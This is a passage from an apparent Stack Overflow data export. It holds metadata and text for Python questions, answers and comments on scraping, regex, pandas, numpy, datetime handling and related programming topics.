viewstate = soup.select("#__VIEWSTATE")[0]['value'] eventvalidation = soup.select("#__EVENTVALIDATION")[0]['value'] print ('__VIEWSTATE:', viewstate) print ('__EVENTVALIDATION:', eventvalidation) formData = { '__EVENTVALIDATION': eventvalidation, '__VIEWSTATE': viewstate, '__EVENTTARGET': '', '__EVENTARGUMENT': '', '__VIEWSTATEGENERATOR': '49DF2C80', 'MainContent_RadScriptManager1_TSM':""";;System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35:en-US:59e0a739-153b-40bd-883f-4e212fc43305:ea597d4b:b25378d2;Telerik.Web.UI, Version=2015…
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/86174691
comment on: http://stackoverflow.com/q/49583130
type: QuestionComment
type: Comment
has text: Set a different backend and try again. Could be also due to virtual machine. MSCore warnings can be ignored.
score: 0

http://stackoverflow.com/comment/86108778
type: QuestionComment
comment on: http://stackoverflow.com/q/49550767
score: 1
type: Comment
has text: Paste your code, that you have tried here in code block, to make your question/problem more understandable.

http://stackoverflow.com/a/49440672
score: 0
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/49440455
has body: This is because your row doesnt contain any line, so it doesn't even have the 0 index. Yo must check if the list contain something before accessing any item inside: if row: print(row[0]) As I said in comment, your solution is flawed, because it will overflow the stack at some point. You should use an infinite loop instead of calling the main function again and again def main(): while 1: userCom = input("\nCommand: ") if userCom == "list": lists() elif userCom == "view": count() elif userCom == "add": add() elif userCom == "del": delete() elif userCom == "exit": exitt() else: print("Invaild input, try again") # main()
answers question: http://stackoverflow.com/q/49440455

http://stackoverflow.com/q/49458594
has answer: http://stackoverflow.com/a/55859086
tagged with: python
tagged with: python-newspaper
favorite count: 0
type: Question
upvote count: 2
tagged with: python-3.x
answer count: 2
downvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49597202
has title: Python: Newspaper Module - Extract text with html tag
has body: I made a code: from newspaper import Article url = 'http://www.infomoney.com.br/mercados/acoes-e-indices/noticia/7345670/dow-jones-tem-nova-derrocada-puxa-ibovespa-para-segunda-semana' a = Article(url, language='pt') a.download() a.parse() print(a.text) But I need the text with html tag, for example, I need the img tag inside text.
score: 0

http://stackoverflow.com/q/49467060
tagged with: networkx
downvote count: 0
score: 1
tagged with: matplotlib
tagged with: python
has answer: http://stackoverflow.com/a/49467146
favorite count: 0
type: Question
has title: How can I draw a network?
tagged with: python-3.x
upvote count: 1
type: UnansweredQuestion
has body: I want to draw a network like this: This is my code: import matplotlib matplotlib.use('TkAgg') import pandas as pd import numpy as np import matplotlib.pyplot as plt import networkx as nx from itertools import product from scipy.sparse import csr_matrix from scipy.sparse.csgraph import minimum_spanning_tree from pymnet import* import matplotlib.colors as mcolors mst_pearson=mst_tree(pearson) mst_kendall=mst_tree(kendall) mst_tail=mst_tree(tail) nx.draw(mst_pearson,pos=nx.spring_layout(mst_pearson)) plt.show() mst_pearson is my own function to generate the minimum spanning tree of the graph,but my graph likes this although I set the layout: How could I change the layout of nodes and the edges? Thanks in advance.
answer count: 1

http://stackoverflow.com/comment/86118001
score: 0
type: QuestionComment
has text: There's a world of difference between derivatives and division. Giving a scalar function example, if I say that `a = 2` and `b = 2`, then say that `c = 2*2 = 4`, this is not an example of differentiation and `a` is not an example of `dc/db`. The underlying relation could easily be `c = b^b` for all you know, which makes `dc/db = b^b * (ln(b) + 1)`; defining constants which happen to have a multiplicative relationship doesn't say anything about differentiation.
type: Comment
comment on: http://stackoverflow.com/q/49553006

http://stackoverflow.com/q/49472311
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/85948035
score: -2
tagged with: python
has body: for a sample picture, the value of start should be 7 after execution, but gives output 0 when run as script. when debugged, it gives correct result def startdetection(start): i = 0 while( i &lt; coloumn): pixel = image.getpixel((i,start))[0] if pixel ==0: return elif i == coloumn-1: start = start +1 i = 0 else: i = i+1 end = start + 38 startdetection(0) print(start)
has title: same program getting different output when debugged and run as script
accepted answer: http://stackoverflow.com/a/49472904
type: Question
tagged with: python-2.7
has answer: http://stackoverflow.com/a/49472904
has comment: http://stackoverflow.com/comment/85948000
upvote count: 0
downvote count: 2
answer count: 1
favorite count: 0
tagged with: python-3.x

http://stackoverflow.com/comment/85906212
score: 0
has text: Could you check my last answer to see if its a better implementation?
comment on: http://stackoverflow.com/q/49442419
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49446661
has comment: http://stackoverflow.com/comment/85895173
downvote count: 0
answer count: 3
possible better answer: http://stackoverflow.com/a/49446740
upvote count: 1
has answer: http://stackoverflow.com/a/49446740
tagged with: string
has answer: http://stackoverflow.com/a/49446891
favorite count: 0
accepted answer: http://stackoverflow.com/a/49446860
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/4780088
has comment: http://stackoverflow.com/comment/85894987
has body: I need to get all files with media like extension( .png, .jpg, .mp4, .avi, .flv ) in a list by using regex.What i had tried is Below import re st = ''' /mnt/data/Content: ManifestFile.txt kompass-tags_e2d5dac5ba548a1206b5d40f58e448e4 tmp_content default_55a655f340908dce55d10a191b6a0140 price-tags_b3c756dda783ad0691163a900fb5fe15 /mnt/data/Content/default_55a655f340908dce55d10a191b6a0140: LayoutFile_34450b33c8b44af409abb057ddedfdfe.txt blank_decommissioned.jpeg tmp_content ManifestFile.txt blank_unregistered.png /mnt/data/Content/default_55a655f340908dce55d10a191b6a0140/tmp_content: /mnt/data/Content/kompass-tags_e2d5dac5ba548a1206b5d40f58e448e4: 0001111084948-kompass-LARGE.avi 0076738703404-kompass-LARGE.png LayoutFile_7c1b3793e49204982e0e41923303c17b.txt 0001111087321-kompass-LARGE.jpg 0076738703419-kompass-LARGE.mp4 ManifestFile.txt 0001111087325-kompass-LARGE.png 0076738703420-kompass-LARGE.png tmp_content /mnt/data/Content/kompass-tags_e2d5dac5ba548a1206b5d40f58e448e4/tmp_content: /mnt/data/Content/price-tags_b3c756dda783ad0691163a900fb5fe15: 0001111084948-consumer-large.png 0076738703404-consumer-large.png LayoutFile_a694b1e05d08705aaf4dd589ac61d493.txt 0001111087321-consumer-large.png 0076738703419-consumer-large.avi ManifestFile.txt 0001111087325-consumer-large.mp4 0076738703420-consumer-large.png tmp_content /mnt/data/Content/price-tags_b3c756dda783ad0691163a900fb5fe15/tmp_content: /mnt/data/Content/tmp_content: ''' patt = '^.*(.png|.jpg|.gif|.bmp|.jpeg|.mp4|.avi|.flv)' patt = '^.*$.png' fList = re.findall(patt, st) print fList I have very less idea about regex please help.
has title: Starts with anything but not space and ends with extensions like (.png, .jpg, .mp4, .avi, .flv)
score: 1
tagged with: python
tagged with: regex
has answer: http://stackoverflow.com/a/49446860
type: Question
linked to: http://stackoverflow.com/q/2081640

http://stackoverflow.com/a/50773181
upvote count: 14
answers question: http://stackoverflow.com/q/49470261
type: Answer
downvote count: 1
accepted answer of: http://stackoverflow.com/q/49470261
type: AcceptedAnswer
has body: check tor is installed sudo apt install tor Check this sudo gedit /etc/default/tor find and replece "yes" to "no" there RUN_DAEMON="yes" stop the daemon sudo /etc/init.d/tor stop
score: 13

http://stackoverflow.com/a/49478339
upvote count: 4
accepted answer of: http://stackoverflow.com/q/49478310
has comment: http://stackoverflow.com/comment/85959968
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49478310
downvote count: 1
has comment: http://stackoverflow.com/comment/85959554
has body: I would avoid loops in your scenario, and just use .drop: df.drop(df[df['x'] &lt; df['y']].index, inplace=True) Example: df = pd.DataFrame({'x':np.random.randint(0,4,5), 'y':np.random.randint(0,4,5)}) &gt;&gt;&gt; df x y 0 1 2 1 2 1 2 3 1 3 2 1 4 1 3 df.drop(df[df['x'] &lt; df['y']].index, inplace = True) &gt;&gt;&gt; df x y 1 2 1 2 3 1 3 2 1 [EDIT]: Or, more simply, without using drop: df=df[~(df['x'] &lt; df['y'])]
score: 3
has comment: http://stackoverflow.com/comment/85959999
has comment: http://stackoverflow.com/comment/85959622
type: Answer
has comment: http://stackoverflow.com/comment/85959698

http://stackoverflow.com/a/57055517
answers question: http://stackoverflow.com/q/49545142
score: 9
has body: add object_detection to the front of utils: # from utils import label_map_util # from utils import visualization_utils as vis_util from object_detection.utils import label_map_util from object_detection.utils import visualization_utils as vis_util
downvote count: 0
upvote count: 9
type: Answer

http://stackoverflow.com/a/49618141
score: 0
accepted answer of: http://stackoverflow.com/q/49568373
has body: I am not sure if it works with GLPK, but I know that it is possible with Gurobi. I mean then you should adapt your model in Gurobi modeling syntax. Maybe you should search for "GLPK modelling" on google? But to be honest, either way you will have to read its documentation and spend time on learning its lib. Pyomo has a better(in my opinion) documentation and better support than any modeling language in python. So better read pyomo doc. and check its basic examples and ask questions here if you encounter with an error. They got a nice developer team here, who answers most of the hard questions.
type: Answer
has comment: http://stackoverflow.com/comment/86305285
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49568373

http://stackoverflow.com/a/49582317
downvote count: 0
score: 3
answers question: http://stackoverflow.com/q/49582297
type: Answer
upvote count: 3
has body: Try this. You need to convert to int, or % will try to format it like a string. Also, you should make sure that your program won't error if a number is not given. while True: try: number = int(input("Enter a number: ")) break except: print("Enter a number") check = number % 2 if check == 0: print("your number is even.") elif check &gt;= 0: print("Your number is odd.") else: print("something else")

http://stackoverflow.com/comment/86193198
type: Comment
type: QuestionComment
has text: Possible duplicate of [ImportError: No module named py31compat](https://stackoverflow.com/questions/46998858/importerror-no-module-named-py31compat)
comment on: http://stackoverflow.com/q/49592737
score: 0

http://stackoverflow.com/q/49467509
type: AnsweredQuestion
score: 0
has title: A faster way to remove close pixels
answer count: 1
has comment: http://stackoverflow.com/comment/85949519
type: Question
has comment: http://stackoverflow.com/comment/85937578
has body: I have an image with a thick line pixels, and line under it. I wanted to remove the bottom line thin the thick line so I used this loop: N = 1000 im = (np.random.random((N, N)) - 0.5) xx,yy = np.where(im &gt; 0) for x,y in zip(xx,yy): for i in range(xmin,xmax): # I played with the limits so they would fit my specific image # if inner loop already broke if im[x][y] == False: break for j in range(ymin,ymax): # here again if im[x-i][y+j]: im[x][y] = False break This works really good for (~95% of unwanted pixels are removed) but it is very very slow... I takes me about 1 second per image, where operations like np.where, np.argmax takes &lt; 0.01 sec. How would one implement this using numpy (I'm guessing numpy would suit best) to speed it up? Edit: using @numba.jit as suggested by @jmd_dk was very helpful, but it still seems to be slower than the normal numpy methods. To clarify, I want to find not only the locations of the positive pixels, as provided by np.where(im &gt; 0), but the locations of pixels that have positive pixels below / above them... So, if I would have this matrix: 0 | 0 | 0 | 1 | 1 | 1 | 0 0 | 0 | 0 | 0 | 0 | 0 | 1 0 | 1 | 0 | 1 | 0 | 1 | 1 0 | 0 | 0 | 1 | 1 | 0 | 1 0 | 0 | 0 | 0 | 0 | 0 | 1 0 | 1 | 0 | 1 | 1 | 1 | 1 I would want to find all the '1' pixels that have '1' above them and remove them - getting this matrix: 0 | 0 | 0 | 1 | 1 | 1 | 0 0 | 0 | 0 | 0 | 0 | 0 | 1 0 | 1 | 0 | * | 0 | * | * 0 | 0 | 0 | * | * | 0 | * 0 | 0 | 0 | 0 | 0 | 0 | * 0 | * | 0 | * | * | * | * I replaced the 1 with * so it would stick out...
tagged with: python
accepted answer: http://stackoverflow.com/a/49470251
has answer: http://stackoverflow.com/a/49470251
tagged with: numpy

http://stackoverflow.com/comment/86071444
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49531731
has text: if you are talking about just standard deviation of Y, it should always be same for Y and squeeze(Y) - z = np.random.rand(100, 1) y = np.squeeze(z) y.std() == z.std() - this always returns true, I guess, you mean something else by standard deviation here

http://stackoverflow.com/a/49483840
accepted answer of: http://stackoverflow.com/q/49475401
type: Answer
answers question: http://stackoverflow.com/q/49475401
score: 0
type: AcceptedAnswer
has body: Here are some codes that you can use. Hope it can give you some thoughts. import random # get the students with open('student.txt','r') as f: students = f.read().split() # get the lectures with open('lecture.txt','r') as f: lectures = f.read().spilt() # since you only have three different lectures, we can sequently # collect them as 0,1,2 reflist = [] for student in students: reflist.append( lectures[ random.randrange(3) ] ) # prepare for the print lecture_student = [] for lecture in lectures: count = 0 ls = [] for ndx in reflist: if lecture == ndx: ls.append(students[count]) count += 1 lecture_student.append(ls) # now to file them with open('pro_lecture_student.txt','wt') as f: count = 0 for lecture in lectures: f.write(lecture) f.write(': ') for student in lecture_student[count]: f.write(student) f.write('\n\n') count += 1

http://stackoverflow.com/q/49549912
has body: I have 100 tables, where a primary key is present in each table with the name IDname. I can do the relationship in phpmyadmin using designer. But doing this with 100 tables is a bit complicated. I created and inserted the data using python. I was hoping to create the relationship using python. Could you please help. I searched and found a few results related to SQLAlchmey, but didn't know how to use it or was even correct. Scripts I used: import MySQLdb db=MySQLdb.connect(host="localhost",user="root",passwd="",db="graphdata") cur=db.cursor() c1=''' CREATE TABLE performance_target (schedule VARCHAR(30), class VARCHAR(30),idname VARCHAR(100),id VARCHAR(30), perform_target VARCHAR(30),PRIMARY KEY (idname)) ''' cur.execute(c1) db.commit()
answer count: 0
type: UnansweredQuestion
tagged with: python
has title: Connecting two tables based on primary keys using python
downvote count: 0
score: 1
upvote count: 1
tagged with: mysql-python
favorite count: 0
type: Question

http://stackoverflow.com/a/49458920
has body: IIUC: (df.assign(date=pd.to_datetime(df['date'] + ' ' + df['time'].astype(str).replace(r'(\d){2})(\d{2})', r'\1:\2'))) .plot(x='date', y='value'))
has comment: http://stackoverflow.com/comment/85921183
has comment: http://stackoverflow.com/comment/85923139
type: Answer
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/49458874
downvote count: 0
has comment: http://stackoverflow.com/comment/85925387

http://stackoverflow.com/q/49594155
has body: I'm trying to follow these answers and get the elapsed seconds since Jan 1st 1970 for each element in my array (my_times). I'm then using these values to find the time intervals between each consecutive time. Either approach I take seems to give the wrong answer for at least one pair of times. Mark Byers answer To get the seconds since Jan 1st 1970, he suggested to try: time.mktime(my_time.timetuple()) However this does not seem to work for times "2017-11-05 01:46:00+00" and "2017-11-05 01:47:00+00". When I run the below code, it says the values are separated by 3660.0 seconds instead of 60.0 seconds from datetime import datetime import time my_time1 = datetime.strptime("2017-11-05 01:46:00+00", "%Y-%m-%d %H:%M:%S+%f") my_time2 = datetime.strptime("2017-11-05 01:47:00+00", "%Y-%m-%d %H:%M:%S+%f") time.mktime(my_time2.timetuple()) - time.mktime(my_time1.timetuple()) Andrzej Pronobis' answer To get the seconds since Jan 1st 1970, he suggested to try: my_time.timestamp() This fixed the two earlier times however it no longer works for times "2017-11-05 01:59:00+00" and "2017-11-05 02:00:00+00". The same issue appears, I get 3660.0 seconds instead of 60.0 seconds from datetime import datetime my_time1 = datetime.strptime("2017-11-05 01:59:00+00", "%Y-%m-%d %H:%M:%S+%f") my_time2 = datetime.strptime("2017-11-05 02:00:00+00", "%Y-%m-%d %H:%M:%S+%f") my_time2.timestamp() - my_time1.timestamp() I'd like to know if I'm doing anything wrong? Also is there a better way to find all consecutive time intervals when the datetime is given as a String? Edit: Thank you John, that fixed the problem. Oddly, changing the format from +%f to %z still ran into the same issue. What did work was running sudo ln -sf /usr/share/zoneinfo/UTC /etc/localtime (changes my computer's time to UTC) and then evaluating all the times
score: 1
tagged with: python-datetime
has answer: http://stackoverflow.com/a/49594205
answer count: 1
downvote count: 0
upvote count: 1
linked to: http://stackoverflow.com/q/7852855
favorite count: 0
has comment: http://stackoverflow.com/comment/86195810
type: Question
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49594205
tagged with: datetime
tagged with: python
type: AnsweredQuestion
has title: Python get total seconds from datetime results in occasional mistakes
has comment: http://stackoverflow.com/comment/86195812

http://stackoverflow.com/comment/85948055
type: QuestionComment
comment on: http://stackoverflow.com/q/49469620
type: Comment
has text: I updated the question, please take a look at it @ekhumoro
score: 0

http://stackoverflow.com/a/49520001
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/49514378
has body: The GAE images.Image class doesn't appear to offer a similar/pallette-based functionality. But PIL is one of the GAE Built-in Third-party Libraries which you can use instead. You'd need to: request the library in your app.yaml: libraries: - name: PIL version: "1.1.7" explicitly use the Image class from PIL (may need to import it as a different name if you're also importing/using the Image class from GAE's images, to avoid a naming conflict): from PIL import Image im = Image.open('image.jpg') out = im.convert('P', palette=Image.ADAPTIVE, colors=5)
has comment: http://stackoverflow.com/comment/86080156
type: Answer
answers question: http://stackoverflow.com/q/49514378
downvote count: 0
score: 1
upvote count: 1

http://stackoverflow.com/comment/86088154
score: 0
type: Comment
comment on: http://stackoverflow.com/q/49540308
type: QuestionComment
has text: hi @MaNKuR can you explain that more? I'm brand new to python so still learning. Thanks for your help, I really appreciate it!

http://stackoverflow.com/comment/86174599
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49582598
has text: ok, I understand, in a moment publish an answer.
type: Comment

beautifulsoup
tags question: http://stackoverflow.com/q/49552358
tags question: http://stackoverflow.com/q/49542721
tags question: http://stackoverflow.com/q/49563153
tags question: http://stackoverflow.com/q/49442277
tags question: http://stackoverflow.com/q/49550064
tags question: http://stackoverflow.com/q/49575390
type: Tag
tags question: http://stackoverflow.com/q/49590115
tags question: http://stackoverflow.com/q/49527907
tags question: http://stackoverflow.com/q/49495762
tags question: http://stackoverflow.com/q/49532759
tags question: http://stackoverflow.com/q/49472373
tags question: http://stackoverflow.com/q/49457696
tags question: http://stackoverflow.com/q/49495370
tags question: http://stackoverflow.com/q/49457209
tags question: http://stackoverflow.com/q/49481775
tags question: http://stackoverflow.com/q/49502679
tags question: http://stackoverflow.com/q/49571805
tags question: http://stackoverflow.com/q/49455273
tag name: beautifulsoup
tags question: http://stackoverflow.com/q/49565315
tags question: http://stackoverflow.com/q/49468446
tags question: http://stackoverflow.com/q/49515530
tags question: http://stackoverflow.com/q/49482383
tags question: http://stackoverflow.com/q/49560494
tags question: http://stackoverflow.com/q/49480776
tags question: http://stackoverflow.com/q/49502895
tags question: http://stackoverflow.com/q/49443605
tags question: http://stackoverflow.com/q/49539381
tags question: http://stackoverflow.com/q/49478444
tags question: http://stackoverflow.com/q/49459271
tags question: http://stackoverflow.com/q/49474385
tags question: http://stackoverflow.com/q/49572811
tags question: http://stackoverflow.com/q/49596913
tags question: http://stackoverflow.com/q/49583750
tags question: http://stackoverflow.com/q/49547377
tags question: http://stackoverflow.com/q/49472608
tags question: http://stackoverflow.com/q/49527438
tags question: http://stackoverflow.com/q/49466947
tags question: http://stackoverflow.com/q/49473862
tags question: http://stackoverflow.com/q/49527088
tags question: http://stackoverflow.com/q/49573758
tags question: http://stackoverflow.com/q/49598651
tags question: http://stackoverflow.com/q/49562654
tags question: http://stackoverflow.com/q/49563853
tags question: http://stackoverflow.com/q/49488771
tags question: http://stackoverflow.com/q/49591120
tags question: http://stackoverflow.com/q/49580087
tags question: http://stackoverflow.com/q/49585730
tags question: http://stackoverflow.com/q/49579168
tags question: http://stackoverflow.com/q/49577089
tags question: http://stackoverflow.com/q/49562530
tags question: http://stackoverflow.com/q/49523672
tags question: http://stackoverflow.com/q/49526147
tags question: http://stackoverflow.com/q/49458355
tags question: http://stackoverflow.com/q/49467167
tags question: http://stackoverflow.com/q/49595281
tags question: http://stackoverflow.com/q/49488089
tags question: http://stackoverflow.com/q/49519587
tags question: http://stackoverflow.com/q/49446676
tags question: http://stackoverflow.com/q/49454011
tags question: http://stackoverflow.com/q/49576821
tags question: http://stackoverflow.com/q/49535891
tags question: http://stackoverflow.com/q/49494142

http://stackoverflow.com/q/49569905
type: Question
has comment: http://stackoverflow.com/comment/86147603
has comment: http://stackoverflow.com/comment/86147589
accepted answer: http://stackoverflow.com/a/49571126
has comment: http://stackoverflow.com/comment/86148103
tagged with: python
has answer: http://stackoverflow.com/a/49571126
score: -1
tagged with: selenium-chromedriver
type: AnsweredQuestion
downvote count: 2
has body: I have a page having item price as shown in attached image. i want to extract this price as 64.99. I want to ask what would be the xpath to get this number as Im using selenium webdriver to find this price I have tried a lot of permutations of xpaths but the problem is that this page have a lot such products so its being difficult to find unique xpath of that price. e.g - //li[@class = 'price-current'] (gives 13 result on the page) //*[@id = 'landingpage-price' and @class = 'price-current'] (give no result) Any help will be appreciated. Thanks
answer count: 1
tagged with: selenium
upvote count: 1
has title: Want to extract decimal number from a page with xpath, selenium wedriver in python
has comment: http://stackoverflow.com/comment/86148077
favorite count: 0

http://stackoverflow.com/q/49585510
tagged with: python
has comment: http://stackoverflow.com/comment/86179117
type: AnsweredQuestion
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/49585934
possible better answer: http://stackoverflow.com/a/49585934
has body: json data : [ { "DeviceInstanceId": 5, "IsResetNeeded": null, "ProductType": "12345", "Product": { "Family": "12345" }, "Device": { "DeviceFirmwareUpdate": { "DeviceUpdateStatus": null, "DeviceUpdateInProgress": null, "DeviceUpdateProgress": null, "LastDeviceUpdateId": null }, "ManualAdded": { "Value": false }, "Location":{ "Value":"bangalore" } } ] How to verify "value" key is present or not in the above json data using python. If "value" key is not present in the above json data then i need to verify that json data format should look like below [ { "DeviceInstanceId": 5, "IsResetNeeded": null, "ProductType": "12345", "Product": { "Family": "12345" }, "Device": { "DeviceFirmwareUpdate": { "DeviceUpdateStatus": null, "DeviceUpdateInProgress": null, "DeviceUpdateProgress": null, "LastDeviceUpdateId": null }, "ManualAdded": false, "Location":"bangalore" } ] Updated json data [{ "Id": "12", "Type": "DevicePropertyChangedEvent", "Payload": [{ "DeviceType": "producttype", "DeviceId": 2, "IsFast": false, "Payload": { "DeviceInstanceId": 2, "IsResetNeeded": false, "ProductType": "product", "Product": { "Family": "home" }, "Device": { "DeviceFirmwareUpdate": { "DeviceUpdateStatus": null, "DeviceUpdateInProgress": null, "DeviceUpdateProgress": null, "LastDeviceUpdateId": null }, "ManualAdded": false, "Name": { "Value": "Jigital60asew", "IsUnique": true }, "State": null, "Location": "bangalore", "Serial": null, "Version": "2.0.1.100" } } }] }] Updated json data please have a look...For updated json the accepted answer should be modified.please help How can i verify this?
has title: How to verify json data format and type using python?
has comment: http://stackoverflow.com/comment/86188389
has comment: http://stackoverflow.com/comment/86188027
has comment: http://stackoverflow.com/comment/86178905
has comment: http://stackoverflow.com/comment/86188141
has answer: http://stackoverflow.com/a/49590356
type: Question
has comment: http://stackoverflow.com/comment/86188132
tagged with: python-3.x
accepted answer: http://stackoverflow.com/a/49590356
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/86188412

http://stackoverflow.com/q/49497295
favorite count: 0
type: Question
tagged with: numpy
answer count: 2
tagged with: vector
has comment: http://stackoverflow.com/comment/85998590
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/85998610
tagged with: arrays
upvote count: 1
tagged with: python
downvote count: 5
score: -4
tagged with: list
has title: Get min,max,argmin,argmax of (X,Y) coordinates in a vectorized way
has body: I have a list of coordinate vectors (x,y) as follows: coord=[[3,6], [7,9], [14,9], [11,8], [3,1], [7,14], [19,30] ] What I want to get ? Get the min values from x coordinates then print the given (x,y) vector Get the max values from x coordinates then print the given (x,y) vector Get the min values from y coordintates then print the given (x,y) vector Get the max values from y coordintates then print the given (x,y) vector Get the min values from x coordintates and the min value from y coordinates then print the given (x,y) vector (in other term the smallest vector) Get the max values from x coordintates and the max value from y coordinates then print the given (x,y) vector (in other term the largest vector) What is the efficient and vectorized way to do that?
has answer: http://stackoverflow.com/a/49497417
has answer: http://stackoverflow.com/a/49508620

http://stackoverflow.com/q/49563853
tagged with: python
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/49564110
possible better answer: http://stackoverflow.com/a/49564110
accepted answer: http://stackoverflow.com/a/49564244
has title: Best way to loop this situation?
tagged with: beautifulsoup
type: AnsweredQuestion
has body: I have a list of divs, and I'm trying to get certain info in each of them. The div classes are the same so I'm not sure how I would go about this. I have tried for loops but have been getting various errors Code to get list of divs: import requests from bs4 import BeautifulSoup import re url = 'https://sneakernews.com/release-dates/' response = requests.get(url) data = response.text soup = BeautifulSoup(data, "lxml") soup1 = soup.find("div", {'class': 'popular-releases-block'}) soup1 = str(soup1.find("div", {'class': 'row'})) soup1 = soup1.split('&lt;/div&gt;') print(soup1) Code I want to loop for each item in the soup1 list: linkinfo = soup1.find('a')['href'] date = str(soup1.find('span')) name = soup1.find('a') non_decimal = re.compile(r'[^\d.]+') date = non_decimal.sub('', date) name = str(name) name = re.sub('&lt;/a&gt;', '', name) link, name = name.split('&gt;') link = re.sub('&lt;a href="', '', link) link = re.sub('"', '', link) name = name.split(' ') name = str(name[-1]) date = str(date) link = str(link) print(link) print(name) print(date)
score: 0
has answer: http://stackoverflow.com/a/49564244

http://stackoverflow.com/comment/110788245
type: Comment
has text: "sig" in "utf-8-sig" is the abbreviation of "signature" (i.e. signature utf-8 file). Using utf-8-sig to read a file will treat BOM as file info. instead of a string.
type: AnswerComment
comment on: http://stackoverflow.com/a/49543191
score: 0

http://stackoverflow.com/a/49529966
type: AcceptedAnswer
downvote count: 0
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/49479516
type: Answer
has body: Refer the issue raised in the Github and follow up from the contributor.
answers question: http://stackoverflow.com/q/49479516

http://stackoverflow.com/q/49535822
type: Question
answer count: 0
type: UnansweredQuestion
tagged with: web-scraping
tagged with: python
has comment: http://stackoverflow.com/comment/86116250
score: 0
has comment: http://stackoverflow.com/comment/86078321
has body: I have tried the google custom search engine api but never gives me accurate results. I am try scrap all urls in google search result but after few requests google blocks me as a bot. Is there any way to fetch accurate results(almost) I've tried the following code import search_google.api from apiclient.discovery import build buildargs = { "serviceName": "customsearch", "version": "v1", "developerKey": "dkey" } cseargs = { "q": "search", "cx": "ckey", "num": 8 } results = search_google.api.results(buildargs, cseargs) #results.preview() # Obtain the url links from the search # Links are inside results['items'] list links = results.get_values('items', 'link') # Obtain the url links from the search links = results.links for a in links: print (links) # Save the search result links to a text file # results.save_links('links.txt') # Set developer key and CSE ID dev_key = 'dkey' cse_id = 'ckey' # Obtain search results from Google CSE service = build("customsearch", "v1", developerKey=dev_key) results = service.cse().list(q='infotek', cx=cse_id).execute() #print("\n",results.get_values('items','link')) #res = service.cse().list(q="keyword query", cx=my_cse_id, **kwargs).execute()
has title: Python 3 script to fetch all google search results using xpath without selenium automation and without BeautifulSoup

http://stackoverflow.com/q/49589110
tagged with: dask
upvote count: 2
type: UnansweredQuestion
has title: parallelize numpy arange on dask array
answer count: 1
downvote count: 0
has body: I would like to use dask to do the following operation; let say I have a numpy array: In: x = np.arange(5) Out: [0,1,2,3,4] Then I want a function to map np.arange to all the elements of my array. I have already defined a function for that purpose: def list_range(array, no_cell): return np.add.outer(array, np.arange(no_cell)).T # e.g In: list_range(x,3) Out: array([[0, 1, 2, 3, 4], [1, 2, 3, 4, 5], [2, 3, 4, 5, 6]]) Now I want to reproduce this in parallel using map_blocks on a dask array but I always get an error. Here is my attempt based on the dask documentation of map_blocks: constant = 4 d = da.arange(5, chunks=(2,)) f = da.core.map_blocks(list_range, d, constant, chunks=(2,)) f.compute() I get ValueError: could not broadcast input array from shape (4,2) into shape (4)
favorite count: 0
score: 2
tagged with: python
type: Question
tagged with: numpy
has answer: http://stackoverflow.com/a/49591088

http://stackoverflow.com/comment/85906794
has text: Yuck, I hoped I could later do something like `ani = MyAnimation()`, then change the layout e.g. with `ani.fig.set_facecolor('blue')` before I call `ani.run_animation()`. That won't be possible when I clear the axes in the `init_func`...
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49451940

http://stackoverflow.com/q/49494112
has answer: http://stackoverflow.com/a/49494184
has title: Add 1 backslash as first character in string
upvote count: 0
has body: I'm actually crafting TCP packet and I need to script that. [EDIT] Example: I have a packet: \x00\x10\7ff\ff I would like to add at the end: \xb3 without hard coding it. Just do something like: b = "\" + hex(179)[1:] I would like a string like: a = "\xb3" My crafted packet is working when I hard code it but I would like to do something like: b = "\" + hex(179)[1:] But I can't write only 1 backslash... Before answer me: Just add "\ \". It's not working because when I print "a" python display an unknown character (what I need) and if I print b = "\ \" + hex(179)[1:], it display "\xb3" but it's not what I need to craft my packet. Thanks you for your help
type: UnansweredQuestion
tagged with: scapy
answer count: 1
has comment: http://stackoverflow.com/comment/85992086
has comment: http://stackoverflow.com/comment/85992012
has comment: http://stackoverflow.com/comment/85992111
tagged with: netfilter
downvote count: 1
has comment: http://stackoverflow.com/comment/85991996
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/85992297
favorite count: 0
type: Question

http://stackoverflow.com/comment/86137055
score: 0
type: AnswerComment
has text: See my edit for the link. Technically, you do not need to include `.find('a')`, but I did so for completeness.
comment on: http://stackoverflow.com/a/49564244
type: Comment

http://stackoverflow.com/q/49596477
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86577231
tagged with: python
score: 4
has title: numpy.einsum sometimes ignores dtype argument
upvote count: 4
answer count: 0
has comment: http://stackoverflow.com/comment/86577787
has comment: http://stackoverflow.com/comment/86201216
tagged with: numpy-einsum
